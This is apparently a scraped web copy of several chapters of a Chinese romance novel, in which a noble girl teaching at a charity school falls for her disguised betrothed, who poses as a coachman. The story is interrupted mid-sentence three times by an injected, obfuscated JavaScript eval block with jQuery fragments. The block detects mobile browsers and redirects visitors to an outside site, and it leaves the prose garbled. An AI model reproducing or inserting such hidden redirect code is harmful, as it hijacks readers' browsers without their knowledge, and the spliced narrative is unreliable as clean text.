虽说到洛州也买了很多漂亮的裙装,可那些衣裳私下穿起来还好,在那些学生们面前实在有些不得体,郑墨便让她去买一些颜色素淡的裙子,不想这又给了她好借口,平日穿衣服最多的就是男装,头发也是用一根发带随便扎起来就出门见人了。
今日虽然衣裙还是那几件,腰带和发簪却能看出是用心挑选搭配过了。
都言女为悦己者容。
一个平时连早膳都不吃,只为了多睡两刻钟的小娘子忽然开始打扮起来,这说明什么?
郑墨看着身旁盛乔莫名雀跃的侧脸,心里愈发担心。
这济善堂与她有交集的男子并不多,除了纪明实,就是那个车夫徐少安……
可最近也不见纪明实和阿乔有什么接触,反而是那个车夫,时常和阿乔黏在一起。
阿乔不会是喜欢上那个徐少安了吧。
郑墨犹豫了一下,还是开口问道:“阿乔,等姑父姑母帮你和徐肃年退婚之后,若再定亲,一定会来问你的意见的。你有没有想过,之后想嫁一个什么样的郎君?”
这个问题,盛乔从前还真的没有想过,她琢磨半天,回答道:“至少要高大英俊,看着顺眼吧。”
郑墨想了想那个车夫的长相,心里就是一沉,“还有呢?”
“……还有?”盛乔思索半晌,又道,“脾气好的,对我好的。”
这点……
郑墨和那个车夫没有过太多接触,不太了解他,只是觉得他看上去虽然脾气一般,可在阿乔面前仿佛一向脾气很好。
实在不妙,郑墨又问:“家世呢?出身呢?难道你要嫁个穷小子么?”
她以为盛乔会恍然醒悟,不料她似乎早就想过这个问题,很是理所当然地说:“出身不重要,穷也不要紧,我有钱就好了,反正阿爹阿娘会给我准备很多嫁妆的。”
“否则你看徐肃年,家世再好有什么用。”提到这个名字,盛乔嫌弃地撇了撇嘴巴,哼道,“还不是没有女郎愿意嫁。”
19. 传言
19.
本来是想劝盛乔的,结果听了她的一番话,郑墨竟然诡异地被说服了。
其实阿乔说得没错,她的身份已经尊贵至极,就算嫁入皇室,只要燕国公府还在一日,也没人敢慢待她。
郑墨叹口气,终究是没再开口。
两人用过早膳,盛乔去水榭授课,按照惯例,仍旧是前半堂教,后半堂练。
在学生练习的时候,盛乔便会穿梭在学生们之间一一指点,期间她数次不经意地抬头,也不知是想看到谁。
坐在最前面的是一个小姑娘,叫郁兰,今年才八岁,虽然因为经历过洪水整个人都很瘦,但人聪明,一双眼睛又圆又亮。
盛乔走到她身边给她指点的时候,郁兰小声问她,“先生,您是在等人么?”
盛乔一愣,偏头看她,问:“为何这么说?”
郁兰指了指对面的回廊,说:“我看先生一直往那边看,上次徐先生就是从那里过来找您的,先生,您是在等他么?”
像是被戳穿了心里事一样,盛乔顿了顿,才抿唇否认,“我等他做什么?我是看今天的天气好不好,怕会下雨。”
明显是在骗小孩儿嘛。郁兰不满地撇了撇嘴巴,而后又往盛乔身边蹭了蹭,直到两人之间几乎没有距离之后,才小声地开口,“先生,您和徐先生……”
后半句没说出来,她拖着话音小声去看盛乔,试图用眼神表达自己的意思。
盛乔却完全没看懂,不解道:“我和他怎么了?”
郁兰哎呀一声,哼唧道:“你们,你们不是夫妻嘛?”
“什,什么?”幸好盛乔没有喝水,否则怕是要惊得把水都喷出来。
她实在太过震惊,以至于这一声没能压住,惹得水榭里的学生都朝她这边看了过来。
盛乔忙捂住嘴,对大家说:“抱歉,大家好好练习。然后把郁兰从座位上拉了起来。
两人走到最上方的位置,离着其他人远了些,盛乔这才皱眉开口:“郁兰,你这话是听谁说的?”
郁兰也没想到她会是这个反应,在所有的先生里,盛乔是最温和好说话的一个,孩子们都喜欢她,哪里又见过她这般严肃的模样。
毕竟是个小孩子,大人一严肃起来就不自觉有些心虚,郁兰不自觉低了头,乖乖道:“先生,我错了。”
大约也意识到自己的态度太过严肃,盛乔缓和了一下表情,伸手把郁兰拉到身边,“先生没生气,别害怕,只是你要告诉先生,你为什么要这么说?”
她的语气重新温柔下来,郁兰悄悄地抬头,果然见盛乔的脸色不见生气的样子,这才大着胆子开口,“是,是我们自己猜的。”
猜的?
盛乔愣了愣,问:“你们怎么会这么想?”
郁兰又怯生生地看了她一眼,嗫嚅道:“那天我们上课,徐先生特意来等等您一起,周庚他们还看到徐先生在课堂上还偷偷画您来着,而且,而且……”
她一边说着,一边悄悄地打量盛乔,没听到她开口阻拦,才又继续道:“而且我们有好几次去饭堂用膳的时候,都看到您和徐先生待在一起,说说笑笑的很是亲密,徐先生还给您摘头发上的花瓣,所以……”
后面的话郁兰没再说下去,但盛乔已经懂了。
她的脸色又红又白,一时竟不知道要说什么。
甚至郁兰说的好几件事,盛乔根本就不记得了,因为那在她心中,根本就不算什么。
因为两个人一直都是这样相处的,盛乔根本没有觉得有什么不对。
原来这样的关系会太过亲密吗?竟然会让这些孩子这般误会。
夫妻……
她和徐少安怎么会是夫妻,她们明明只是朋友啊。
这样想着,盛乔心里有理直气壮了一些,对,只是朋友。只是郁兰还是小孩子,不懂大人之间的关系罢了。
盛乔不愿再想太多,摸了摸郁兰的脑袋,说:“小孩子懂什么,我和徐先生没有任何关系,不许再胡说了,回去练字吧。”
“……是。”郁兰乖乖应下,回了座位。
盛乔打起精神重新上课,直到下课之前,都没再抬头看对面一眼。不过,对面回廊上也并没有人影出现。
徐少安今日没来。
盛乔说不清是失落还是什么,但转而又想到郁兰的话,不来才正常,毕竟她和徐少安也没有什么特别的关系,他要是再来,不是还要教人误会么。
这样想着,盛乔很快又把自己安慰好了。
和学生们打了招呼之后,盛乔抱着自己的东西离开了水榭,不想才一拐出长廊,就见不远处离着一个高大的人影。
盛乔脚步一顿,下意识就迎了过去,“徐……”
“明实哥哥?”
在看清那人的脸之后,“少安”两个字便被她硬生生地咽了回去。
好在纪明实也没有听见她前面的那个字,走过来朝她笑了笑,“阿乔。”
两人客气地见了礼,盛乔才问:“明实哥哥,你怎么在这?”
她回头看了看水榭,“下一堂课是你的吗?”
纪明实摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298963|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了摇头,他似乎有话想说,却又十分犹豫。
盛乔忍不住问:“到底怎么了?明实哥哥是不是有事找我?”
其实纪明实只是偶然听说,昨日那个徐少安竟然堂而皇之地在阿乔上课的时候进了水榭去找她说话,毫不避嫌,学生们也由此议论纷纷,说什么的都有。
纪明实实在有些坐不住,这才忍不住找了过来。
可真来了之后,他又不知和盛乔说些什么,支吾半晌才道:“阿乔,你饿不饿,想不想吃东西?”
“不饿啊?”盛乔看了看天上的日头,奇怪道,“这还没到用午膳的时间呢。”
纪明实说:“不久我就要进京赶考,想置办些东西,只是我已经多年没去过长安,我二姐又忙着照顾家里,所以……所以才想着找你陪我去街市上逛一逛,不知道阿乔有没有空?”
原来是这样啊,这样的小事盛乔自然不会拒绝,很热情地点了点头,“好,那你等我回去换身衣服。”
听她答应,纪明实松了口气,却又担心半路杀出个程咬金,于是主动道:“我送你回去吧……”
怎么今日明实哥哥这么奇怪?
盛乔虽然疑惑,但也没有多想。
回去之后,盛乔先卸了满头拆换,换了一身轻便的男装,期间纪明实就在院外等。
好在那个恼人的徐少安并没有过来。
两刻多钟后,两人坐上马车,先去了洛州城最热闹的街市。
盛乔指着街边的铺子,除了买文房四宝的铺子,还有成衣店,有裁缝铺,盛乔看着纪明实身上半旧的袍子,问:“明实哥哥要不要做几件新衣服?这几家铺子我都去过。”
其实纪明实什么都不想买,可这会儿盛乔主动邀约,他自然不会拒绝,于是点了点头,“好。”
于是两人进了右手边的第一间铺子,纪明实进里面去挑,盛乔被一楼的几匹料子吸引了视线,便没有跟上去。
身边正立着两个年轻的郎君,正在谈论洛州的政事。
“四郎,你听说没有,最近京城又派了大人物来洛州呢?”
“又来查水患么?来来回回派了多少人,贪官没查到,银子倒是没少捞。”
……
这些政事盛乔不懂,本没有注意,直到有人忽然问起——
“可不是么,这次又是哪位大人物啊?总不会又是个六品小官吧?”
另一人回道:
“诶!这次可不是什么小官,这次来的可是端阳侯!端阳侯你知道吗?丹宁长公主的长子,陛下的亲外甥!”
20. 吃醋
20.
听到端阳侯这三个字,盛乔整个人就是一僵。
她几乎要怀疑自己听错了,徐肃年在洛州?他竟然也在洛州。
其实这段时间,盛乔几乎都要忘了自己的这桩婚事了,直到现在骤然又听到徐肃年的名字,她才一下子又紧张起来。
先前表姐同她说,阿爹已经答应要和徐家退婚,到现在已经过去不少天了,怎么长安一直没有消息传过来。
盛乔原本是对阿爹阿娘完全信任的,可现在忽然又有些不确定了,总不会是徐家一直没答应吧。
他们要退婚的事,徐肃年知道吗?
盛乔心里很乱,一时忘了动作,眼睛直愣愣地盯着架子上的一匹布料,一副呆呆的样子。
店里的伙计在旁观察她许久,见她一直站在架子前不动,以为她喜欢是喜欢那几匹布料,忙殷勤上前,问道:“小娘子是喜欢这匹料子吗?小的叫人拿下来给您瞧瞧?”
说完也不等盛乔的反应,直接就绕到架子前拿了布料过来。
只看盛乔的模样就知道她定然是出身富贵,小伙计生怕错过这个位贵客,他几乎是要把那匹布怼到盛乔的眼皮子底下,急声介绍起来,“小娘子可真有眼光,这是蜀州织造的蝉翼纱,薄如蝉翼,又软又轻,眼看就要入夏,连长安城里贵人们都最爱穿这轻纱了,小娘子要不要买一匹回去,才三两银子。”
盛乔的思绪被他的一番喋喋不休拉了回来,一抬头正看那小伙计殷勤期待地看着自己。
她脸皮薄,不好意思在这时候拒绝,于是下意识就要掏钱,不想伸手一摸却摸了个空。
腰间的荷包不见了!
盛乔一下子愣住了,小伙计瞧出她的表情不对,忙问:“小娘子怎么了?”
盛乔急道:“我的荷包不见了!”
这,这……
小伙计绕着店里看了一圈,不知有多少来来往往的客人,这又哪里知道是谁偷走的呢。
若是报官,只怕要惊着其他的客人了。小伙计连忙安抚道:“小娘子别急,我,我去给您找找……”
正巧这时候纪明实从楼上下来,见盛乔身边围着人,便问:“阿乔,怎么了?”
盛乔有些沮丧地说:“我的荷包丢了。”
纪明实惊了一下,立刻道:“钱多吗,要不要报官?”
其实盛乔也不知道荷包里装了多少钱,总归也就十两八两吧,报官实在太麻烦,她摆摆手,“算了,总归也没几个钱。”
“你的东西买好了吗?我们走吧。”
她的情绪已经肉眼可见地沉了下来,纪明实也不知怎么安慰,抿了抿唇,看向小伙计手里还托着的那匹料子。
“阿乔,你喜欢这匹料子?”
盛乔不知他的意思,下意识又看了那布料一眼。
纪明实立刻从袖中摸出自己的钱袋,问那小伙计,“这匹料子多少银两?”
小伙计原还有些发愣,此时听到问话,忙回答:“三两!只要三两!”
纪明实也没再说什么,掏出三两就递了过去,“包起来吧。”
小伙计欢喜接过,忙答应道:“诶,小的立刻去,马上去。”
说着人就已经跑没影了,盛乔想拦都没来得及。
她有些着急地看向纪明实,“明实哥哥,你怎么买下了?”
纪明实笑着说:“阿乔不是喜欢么?”
是喜欢,但也没那么喜欢,若是盛乔自己的话,她定然眼都不眨就买下来了,可这是和纪明实一起……她曾听郑墨提到纪明实眼下的情形,实在是很艰难。
这三两银子对她来说可能不算什么,但是纪明实有这么多银子吗?
盛乔想问,又怕纪明实心里尴尬,犹豫着不知如何开口。
纪明实只看她的表情,就知道她心里在想什么,虽有些窘迫,面上倒也坦然,温声开口,“只是一匹布罢了,送给阿乔又如何?你若觉得过意不去,回头找回钱袋,也送我点什么不就好了?”
盛乔被他说中了心思,立刻答应道:“好,那等我得了第一个月的月钱,也给你挑个好东西送你。”
正巧伙计将锦缎包了送过来,纪明实接过,与盛乔一起往外走去。
两人说着话,盛乔原本焦躁低落的心情也渐渐恢复了。
其实徐肃年根本不知道她也在洛州,两人更不会遇到,且就算真的遇到,徐肃年也根本不知道她长什么样子,不知道她是谁。
何况他根本就不可能是冲着自己来的,两人已经没有任何关系了。
这样想着,盛乔的心情又恢复了原本的明快,与纪明实重新有说有笑起来。
纪明实见她面上恢复了笑容,心里也算是松了口气,他估算了一下时辰,对盛乔说:“饿了没有,去永福斋吃些东西吧?”
逛了这一路,盛乔其实早就饿了,闻言立刻点头。
永福斋是一家不大的食店,就在前面不远,两人一边说着一边往前走,谁也没有注意对面楼上的视线。
对面茶楼的二层开了一半的窗,徐肃年半个身子掩在窗后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304609|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
负手而立,齐甄立在他的身后,一时竟不敢去看他面上的表情。
他跟在徐肃年身边多年,最是了解他的性子,此时郎君虽然看似平静,实际手腕上的青筋都要爆出来了。
他想离开去找盛乔,却还要等卢烨议事,若是被盛乔撞到,他该如何解释?
于是徐肃年只能这么眼睁睁地看着两人进了不远处的食店,直到用过傍晚过了用晚膳的时辰,他才终于回到了济善堂。
这会儿盛乔估计和郑墨待在一起,徐肃年脚步一顿,没去找盛乔,打算先回房间沐浴,不料刚走进院子,竟看到盛乔在长廊下坐着。
夕阳西沉,金红的余晖将小院完全笼罩其中,也给盛乔镀了一层漂亮的光,远远望去,那般动人。
徐肃年微微一怔,而后立刻抬步迎了上去,“小娘子怎么坐在这?”
盛乔的回答坦率到让人心慌,她笑着说:“在等你啊。”
徐肃年几乎以为自己听错了,顿了一下,才开口:“你说什么?”
盛乔本能感觉他的语气不对,奇怪地看了他一眼,“我说我来找你啊,怎么?你这院子我进不得啊?”
这话她虽然是随口一说,徐肃年却从中听出了毫不掩饰的亲近。
其实盛乔和纪明实也算是旧识,不过是一起出门吃个午膳而已,又能说明什么?
不过,徐肃年虽是这么想,口中却道:“小娘子找我何事?纪明实不在吗?”
盛乔觉得这人真是奇怪,仰头看他,“和明实哥哥有什么关系,我就是知道他今天要回家,才特意来找你的。”
听到“明实哥哥”这四个字,徐肃年立刻皱了皱眉,但紧跟着的后半句话又成功安抚了他的怒气。
他的表情总算缓和了下来,一边往屋子里走,一边问:“那小娘子找我何事?”
盛乔跟着他往里走,直白地问:“如果,我是说如果哦,如果有人说想在这时送你一个礼物,你会想要什么?”
徐肃年意外地回头看了她一眼,没想到她竟还知道礼尚往来了,看来是真的很喜欢那副画。
他思考了半晌,说:“最近市坊间有一本新刊印的《南国图志》,我倒有些想看。”
“《南国图志》?”盛乔却有些犹豫,“可是这样的书,明实哥哥用的上吗?”
徐肃年脸色倏地一变,“纪明实?”
盛乔点头,说:“对啊,今天明实哥哥送了我一匹蝉翼纱,我想给他还礼,却不知要送些什么,正好你也是男子,所以我特意来问问你的意见。”
21. 回礼
21.
“……正好你也是男子,所以我特意来问问你的意见。”
徐肃年的脸色彻底沉了下来,原来他只是顺便。
盛乔还茫然不知他为何变了脸色,奇怪道:“你怎么了啊?”
徐肃年看她天真无辜的眼神,直气得牙根痒痒,心里有再多的话都说不出来了。
这段日子的相处,已经足够让他了解盛乔,虽然在济善堂这么多人中,盛乔对他是最不同的那一个,但他心里很清楚,盛乔对他并无男女间的绮思。
亦或者说,她根本没有往那方面想过。
本想慢慢引导她去懂,可在此刻,徐肃年忽然有些等不及了。
少倾沉默后,他不冷不热地开口,“纪明实送你东西,你就知道回礼,我呢?难道我没有送过你东西?”
盛乔被这话问住了,一时有些发怔,其实徐少安说得没错,他的确也送过自己东西,而且她真的很喜欢那副画,既然要给纪明实回礼,自然也要给他,总不能厚此薄彼。
于是她道:“那我送你说的那本《南国图志》。”
徐肃年却说:“可我现在不想要这本书了。”
盛乔抬眼瞪他,“那你想要什么?”
徐肃年琢磨半晌,说:“眼看就要入夏,我想要一个驱蚊的荷包。”
一个荷包而已,盛乔想都没想便点头答应,谁知他又添了一句,“我要你亲手绣一个给我。”
盛乔一下子愣住,“你说什么?”
徐肃年道:“我送你的画是亲手画的,你送我的荷包自然也该亲手绣了。”
虽然这话听起来很有道理,但是,但是……盛乔有些为难地说:“可我不会绣荷包!”
这会轮到徐肃年惊讶了,连她母亲身为长公主都有一手好绣活,平时养尊处优,但也会给驸马做些小巧的腰带荷包什么的。没想到盛乔竟然说她不会女工。
徐肃年下意识以为她在敷衍。
盛乔被他这怀疑的目光刺激到了,像只炸了毛的小猫似的使劲瞪他,“你这什么眼神?”
徐肃年抿了抿唇,“……只是有些意外。”
盛乔哼道:“这有什么可意外的,小时候虽然有女夫子教过这些,可那针那么尖,扎得我手都痛死了,我阿娘见了心疼,立刻不让女夫子教了。”
她很有理由,说:“何况我就算学了又用不到,我家里有许多绣娘呢,我若是什么都会了,那些绣娘岂不是赚不到工钱了?”
徐肃年瞧着她那振振有辞的模样,很是有些忍俊不禁。
其实她说得没错,盛小娘子这般金尊玉贵,一向十指不沾阳春水,若因嫁人便要落入凡尘,他是她的爹娘,也要舍不得。
盛乔不知他在想什么,只又提议道:“荷包我是不会绣的,不如还是给你买那本《南国图志》,好不好?”
她自觉语气已经足够温柔,不料男人竟然再度摇了摇头。
盛乔有些生气了,觉得他简直是在故意为难。当时又不是她逼着他去画那副画的,现在倒来为难他。
她这下连那什么劳什子的书都不想送了,“你只说你送了我那副画,刚到长安的时候,我还送了你两件春装呢,不见你穿也就罢了,连声道谢都没有呢。”
原本徐肃年都要忘记这件事了,此时听到这话,不免抬头看了她一眼。
那两件衣服那般艳丽,如何穿得出来?
正要分辨,就听盛乔带着一点遗憾地小声开口,“那是我第一次送郎君东西呢。”
要说出口的话瞬间咽了回去,徐肃年顿住了。
“你说……”
盛乔却不知他这是怎么了,奇怪的看着他,冷不丁问:“你怎么这幅表情?不会是把我送你的衣裳扔了吧!”
徐肃年立刻否认,“当然没有。”
盛乔语气怀疑,“真的?”
小娘子的眼睛又圆又亮,比山涧的溪水更清澈,徐肃年惯会装模作样,这会被她一眨不眨地看着,忽然生出几分心虚来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309464|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他试图移开视线,盛乔这下更确定他把衣裳扔了,于是故意道:“如果你果真没有扔掉我给你买的春装,我就送一个荷包给你,如何?”
“成交。”
徐肃年立刻点了点头,转而看到盛乔纤嫩的手指,“别绣荷包了,郑先生一手楷书写得那般好,不如为我这幅字,如何?”
从盛乔处离开已经很晚了,就算现在去,外面也没有店面开门,徐肃年一直等到第二天给学生们授完骑射课,又正赶上盛乔不在,徐肃年谁也没知会,一个人溜出了济善堂。
上次盛乔给他买衣裳的那家店离着城门不远,徐肃年凭借着记忆找过去,立刻上了二楼去找之前的架子,却没看到那两件衣裳。
正巧掌柜的就在旁边,见他表情不对,立刻迎上来问:“客官是想买些什么?”
徐肃年问:“之前这里有两件男子春衫,一件浅蓝,一件银红……”
掌柜的努力回忆,“那两件布料金贵,只做了那么两件,早就没了。”
“没了?”徐肃年蹙了下眉,“那你可知这洛州……算了,这衣裳你们可以留存的图样?”
“有是有……”掌柜的点了点头,却又有些迟疑,“只是,这图样子可不能随便给客人看。”
徐肃年也没废话,直接从怀里掏出一锭金子扔给那掌柜的,问:“我不看,只要两件一模一样的,最快多久能做好?”
掌柜的险些被那金子晃瞎了眼,欢喜地接过,“七天就……”
说到一半触到对面递来的眼神,又忙改了口,“三天,三天!”
这一锭金子足够把洛州所有的绣娘都买下来了,三天一定能做完。
徐肃年看他一眼,不冷不热地开口,“三天之后我来取,若是做完了,我再付你十两,若是没有……”
后半句话他都不必说出来,掌柜的就已经连连保证起来。
只是心里却在奇怪,也不知这两身衣裳有多重要,竟值得花一锭金子来换。
22、银红
22.
从成衣店离开之后,徐肃年便度日如年,约定的日子一到,他便要亲自去取,不料中途被公事绊住,他只好召了齐源来,让他替自己走一趟。
齐源夜半收到徐肃年的急令,原以为是出了什么急事,没想到郎君只给了他一张写着成衣店地址的字条和十两银锭,让他去取一件衣裳。
什么衣裳值十两……
难道是和此次的计划有关?
齐源不敢马虎,一大早就找到了成衣店,但等掌柜的送来那两件衣裳的时候,他又不确定了。
这一件银红,一件浅蓝,这么鲜嫩的颜色,谁会穿?
反正他家郎君是绝对不会穿的。
他和齐甄被长公主殿下派到了郎君身边时,郎君不过七八岁的年纪,但因为是家中长子,郎君自小便性子稳重,像这样鲜亮的颜色,他向来不会穿,只怕会被别人觉得稚嫩,撑不起场面。
郎君不穿,又会是谁穿?
抱着满心疑惑,齐源回到宅子,徐肃年暂歇的小院一片寂静,只有齐甄在廊下守着。
齐源也没有进去,抱着衣裳来到齐甄身边,“郎君在忙?”
“在同客人议事。”齐甄一边说着,一边看向他怀里的包袱,“这是什么?”
“郎君吩咐我去成衣店取衣裳。”齐源说着,“只是这衣裳颜色太亮,不知给谁穿的。”
齐甄原只是随口一问,听到这话忽然想起什么,对齐源说:“你打开我瞧一眼。”
也不是什么隐秘的信件,齐源没犹豫就打开了包袱,齐甄看过去,一下怔住了。
这料子,这颜色……
齐甄记忆力很好,一下子想到郎君初入洛州那一天。
他去客栈给郎君送信,之后在他房间里发现了一个包袱,里面装着两件与自家郎君气质极度不符的春装,当时郎君是怎么说的来着——
“大约是别的客人买的,小二送错房间了。”
后来还教他直接把那包袱扔了。
当时齐甄也没多想,可现在又看到两件和当时一模一样的衣裳,也忍不住怀疑起来,这衣裳不会真是郎君留下打算自己穿的罢?
那当时又何必要扔掉呢?
齐甄百思不得其解,齐源不知道当时的事,见他盯着包袱发怔,抬手在他眼前挥了挥,“你没事吧?”
齐甄抬眼觑了觑禁闭的房门,拉着齐源往远处走了走,这才压低声音说:“你有没有觉得郎君最近有点不一样了?”
身为下属,私下议论主人乃是大罪,齐源瞪他一眼,然后也回头瞅了瞅房门,说:“哪不一样了?”
具体如何齐甄也说不出来,“就是觉得,郎君从离开长安之后,就变得,有点奇怪。这次洛州的事这么重要,郎君夙兴夜寐,居然白天还有空到济善堂当什么先生。”
“郎君不是说,是为了掩人耳目么?”
“可是这也太敬业了罢,我瞧着郎君都在校场晒黑了,也不知道是图什么?”
“会不会是和郎君路上带的那个小娘子有关?”
他们都知道郎君在此行路上带了个小娘子,虽不知她的具体身份,但照着郎君从前的性情推算,他们都以为那是洛州案的关键证人。
齐甄没明白,“那衣裳那么宽大,一看就是男子穿的,哪会是买给女子的?”
“你傻啊!”齐源瞪他一眼,“一男一女,又年岁相仿,如此同行了一路,你说会发生什么?”
“啊……你说?”齐甄怀疑自己听错了,险些叫出声来。
齐源使劲锤了他一下,他才后知后觉地压低声音,“你说郎君对那个小娘子生了情?”
“不会吧……”他不愿意相信,“就算真生了情,他买衣裳做什么?还是那么花里胡哨的。”
“都言女为悦己者容,男子就不行吗?”齐源一副高深莫测的模样,“你且看着吧。”
半个时辰后,徐肃年终于谈完了正事,将贵客送走后,立刻找了齐源过来,“东西呢?”
齐源低眉敛目地把包袱呈上,“郎君。”
徐肃年看了一眼,又吩咐了他们几句,便拎着包袱出门去了。
齐甄齐源立在院子里,悄悄对视一眼,都从眼里看到了震惊。
徐肃年并不知道两个下属如何编排自己的,直接拎着包袱回了济善堂。
今天是旬休日,学生们都没有课,按照惯例,郑墨应当去找孟娘子盘账了,院子里只有盛乔一个。
春光正好,盛乔没有闷在房间里,而是坐在廊下的小桌旁看书。
这是她前几日刚从街上买的,最近正时兴,但实际故事很俗套。
讲得是一个官家小姐爱上了家中马夫,不顾家中反对,与其私奔,后来马夫参军立功,成了大将军,两人欢喜成婚,终成眷属的故事。
盛乔此时正看到两人初遇,官家小姐要去寺庙烧香,上马车时不小心崴了脚,幸而马夫眼疾手快地扶了一把,官家小姐与他道谢时,不经意看了他一眼,竟就对他一见钟情了。
以前听表姐说,许多时兴话本其实都是翰林院的那些清贫官员写的,为了补贴家用。
盛乔从前还不相信,直看到这一本才觉得有那么几分可能,如此俗套的情节被作者写得很是精彩,难怪最近被人追捧。
盛乔也看得津津有味,心里却觉得这话本夸张,那马夫该长得多好看,能让官家小姐一见倾心?
她心中腹诽,手下却不自觉地往后又翻了一页。
她看得很是专注,连院子里有人进来都没有察觉。
直到脚步声传至身前,一道颀长的身影遮住了眼前的阳光,盛乔才终于抬头。
来人逆光而立,半边身子都掩在阴影里,盛乔一眼险些没认出来,待看清是谁后,手里的话本险些被她扔了。
“你……”她瞪大眼睛。
徐肃年轻咳一声,有些不自在地偏过头去。
他从未穿过这样的衣裳,此时浑身都像被针扎了似的难受,有任何话都说不出来了。
盛乔从未见过他这幅样子。虽然依旧姿态挺拔坦然,可眉目之间仿佛添了几分少见的青涩,让他整个人都显得年轻了些。
当然,徐少安原本就很年轻,盛乔虽不知他具体的年岁,可撑死也就二十来岁,只是他平时的性格太过冷淡,行事也老练成熟,让人时常忘了他的年岁。
可是现在,他身上这件银红的圆领袍,将他原本凌厉的眉眼都浸软了,如勾人的软刀,让人心空。
话本里的人物仿佛走了出来,盛乔紧紧攥着书页,仿佛听到了心脏跳动的声音。
23、话本
23.
四下无人,仿佛连风都静止不动,院子里安静异常,盛乔清晰地听到了自己心跳的声音。
咚,咚,咚。
动静那样大,盛乔生怕被站在自己跟前的男人听到,紧攥着话本霍地一下站起身,故意发出声响,试图遮住胸腔里不合时宜的悸动。
实际上徐肃年根本没有听到任何声音,反而被她突然的动作吓了一跳,下意识想要伸手扶她,“慢些。”
可手指还没碰到她的胳膊,就被小娘子下意识的甩开了。
这是怎么了?
怎么忽然介意起他的触碰了?
徐肃年蹙起眉,原本的柔和重新被凌厉取代,若寒光出鞘的宝剑,艳色的衣裳都压不住他身上的锋芒锐气。
盛乔被他看得心慌,后退的动作再度凝滞了一瞬,而后强行让自己转过头去不要看他。
这般刻意又明显的动作,徐肃年自然注意到了,他的眉心几乎拧成一团乱线,忍不住问:“当初不是小娘子要给我买的吗?”
说着,他还低头看了看自己的衣裳,语气怀疑,“有这么丑?”
听到他这么评价自己买的衣裳,盛乔下意识反驳,“哪里丑了,这不是……”
说到一半,又察觉到不对,生生止住话音。
不过这半句话已经足够徐肃年品明她话中真意,可他故意不懂,上前一步,追问道:“这不是什么?小娘子怎么不说了?”
他身高腿长,负手而立如一棵挺拔的松树,俯身倾压下来的影子,将盛乔整个人都罩了进去。
盛乔第一次感觉到他原来这么的高,压迫感这么的足,睨过来的视线如一柄锋利的刀,仿佛能剖开她的皮肉胸腔,直接看透最里面跳个不停的心脏,从而窥知她在那一瞬间,对眼前俊朗的男人生出了色心。
盛乔莫名羞耻,又有些心虚,她步步后退,可身后就是廊柱,根本退无可退。
眼看脊背就要触到冰凉的柱面,徐肃年先她一步伸出了手,撑到了柱子上,这下盛乔直接退到了他的手上,单薄的蝴蝶骨砸进他的掌心,仿佛猎物自投罗网。
盛乔惊慌失措地直起身子,与他保持距离,然后先发制人地质问:“你这是做什么?”
徐肃年不紧不慢地收回手,撩起眼皮看着她泛红的耳根,淡淡道:“不过怕小娘子没站稳扶您一把,小娘子怎么这么大反应?”
盛乔被他问得更加心虚,“我,我哪有反应大?”
徐肃年一笔一笔地翻旧账:“先前在洛水县,小娘子整个人伏我背上都不觉羞涩,后来在洛州,我与小娘子共乘一骑仍算坦然,怎么此时不过脊背碰了下手心,小娘子就一副生气的样子,这是怎么了?”
“我……”
盛乔想要反驳,却哑口无言,支吾半天,也没说出半个字来。
虽然她刻意偏着头,但徐肃年居高临下,仍能将她所有的表情变化尽收眼底。
她此时侧着眼,虽然看不清神情,却能瞧见她浓而密的眼睫不停地抖动。
仿若蝴蝶振翅,轻薄的翅膀在人的心尖刮过,虽然力度轻得几乎不可察觉,可只需要一阵清风,就能将那酥麻的痒意传至四肢百骸,让人彻底沦陷其中。
徐肃年情不自禁地靠得更近。
盛乔却一下子慌了,不知象到了什么,还紧紧捏着话本的那只手抬起来撑到男人的肩上,看向他的眼神惊慌失措,结结巴巴地质问:“你,你靠这么近干什么?”
其实徐肃年这动作完全是一种本能的反应,只是下意识地想要靠她更近,没有一定要做什么的意思。
被盛乔抬手这么一拦,反倒显得他有所图谋,徐肃年止住动作,本欲解释,一低头正瞧见女郎薄唇紧抿,双颊绯红,连白嫩的耳尖都爬上了一缕艳色。
……是害羞了?
徐肃年心下微动,忽然意识到一个问题。
济善堂并非没有男子,可小娘子对他的态度很不一样。
或许在不知不觉间,她也有些心动。
过往的痕迹丝丝如缕,交织缠绕在心尖之上。徐肃年心中惊喜,却又不敢真的确定。
他低头去看盛乔,少女不懂得遮掩,轻易让他窥见了心事痕迹,偏她还以为自己隐藏得很好,抿着嘴巴一副生人勿近的娇纵模样。
在欢喜与忐忑间来回折返,徐肃年也不确定自己现在的心情到底是好还是坏。
